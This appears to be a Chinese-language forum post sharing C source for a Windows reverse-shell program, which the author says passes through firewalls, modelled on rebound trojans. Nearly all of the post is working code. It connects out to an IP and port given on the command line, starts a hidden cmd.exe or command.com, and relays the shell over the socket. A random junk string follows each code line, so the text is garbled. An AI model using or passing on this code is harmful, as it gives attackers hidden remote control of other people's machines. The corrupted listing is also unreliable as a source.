Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 'hO+b  
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/* ============================== ;p BXAl  
Rebound port in Windows NT _( w4\]  
By wind,2006/7 KAgiY4  
===============================*/ ZZ!d:1'7  
#include `vDg~o  
#include \tyL`&)  
\&R}JK  
#pragma comment(lib,"wsock32.lib") ,<R/x
[  
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void OutputShell(); U>e@m?  
SOCKET sClient; ?b#/*T}ac  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _L_SNjA_  
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void main(int argc,char **argv) 01H3@0Q6  
{ >/6v` 8F  
WSADATA stWsaData; /{>ds-;-  
int nRet; ,PJl32  
SOCKADDR_IN stSaiClient,stSaiServer; 5irewh'R  
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if(argc != 3) HjGT{o  
{ /p<mD-:.M  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^P"
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return; a+A/
l  
} BR*""/3`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;y=w :r\A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Lum$C c}  
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stSaiClient.sin_family = AF_INET; EQ?4?  
stSaiClient.sin_port = htons(0); 7; TS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;NRm ,  
{ Jfo|/JQ  
printf("Bind Socket Failed!\n"); DQ9 <N~l  
return; |g8 ]WFc  
} g\rujxHlH  
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stSaiServer.sin_family = AF_INET; jd]MC*%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0Yfk/}5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wLkHU"'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -W!g>^.  
{ " 8;D^
 
printf("Connect Error!"); /Klwh1E  
return; js;IUSj.  
} LFen!FnM  
OutputShell(); 8'^eH1d'  
} ~+
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void OutputShell() 9nM {x?  
{ "D3JdyO_S  
char szBuff[1024]; !Z%QD\knY  
SECURITY_ATTRIBUTES stSecurityAttributes; A.35WGu&:  
OSVERSIONINFO stOsversionInfo;  gxU(&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (>WV
)  
STARTUPINFO stStartupInfo; *eUL1m8Y  
char *szShell; 86R}G/>>e  
PROCESS_INFORMATION stProcessInformation; q69a-5q  
unsigned long lBytesRead; eZ}FKg%2[  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m6lNZb]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1;? L:A  
stSecurityAttributes.lpSecurityDescriptor = 0; I*K^,XY+  
stSecurityAttributes.bInheritHandle = TRUE;
r)+dK}xl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w\$b(HC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \sp7[}Sw  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -{7:^K[)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &hV;3";  
stStartupInfo.wShowWindow = SW_HIDE; `f6Qd2\  
stStartupInfo.hStdInput = hReadPipe; `e`4
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -z'@Mh|i6l  
vaTXu*   
GetVersionEx(&stOsversionInfo); 1/HPcCsHb  
uA}asm  
switch(stOsversionInfo.dwPlatformId) ZJR{c5TE  
{ "_H&p  
case 1: m1daOeZ]P  
szShell = "command.com"; Aqp3amW!  
break; T0tG1/O\  
default: !Z4,UTu|Q  
szShell = "cmd.exe"; ?$ YE  
break; qIb(uF@l"  
} *}[@*  
YJ1P5u:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dW:  
r9*{)"  
send(sClient,szMsg,77,0); XZKOBq B]  
while(1) &1w,;45  
{ mcr71j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9F,jvCM63  
if(lBytesRead) .3ic%u;|D  
{ JmY"Ja,&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f kP WGd  
send(sClient,szBuff,lBytesRead,0); ~_S`zzcZy4  
} hR=4w$  
else 4SG[_:+!  
{ oiFtPki  
lBytesRead=recv(sClient,szBuff,1024,0); n`^</0  
if(lBytesRead<=0) break; (TnYUyFP`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v- {kPc=:#  
} `P# h?tZ  
} ]0`[L<_r  
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return; [X~HUk??  
}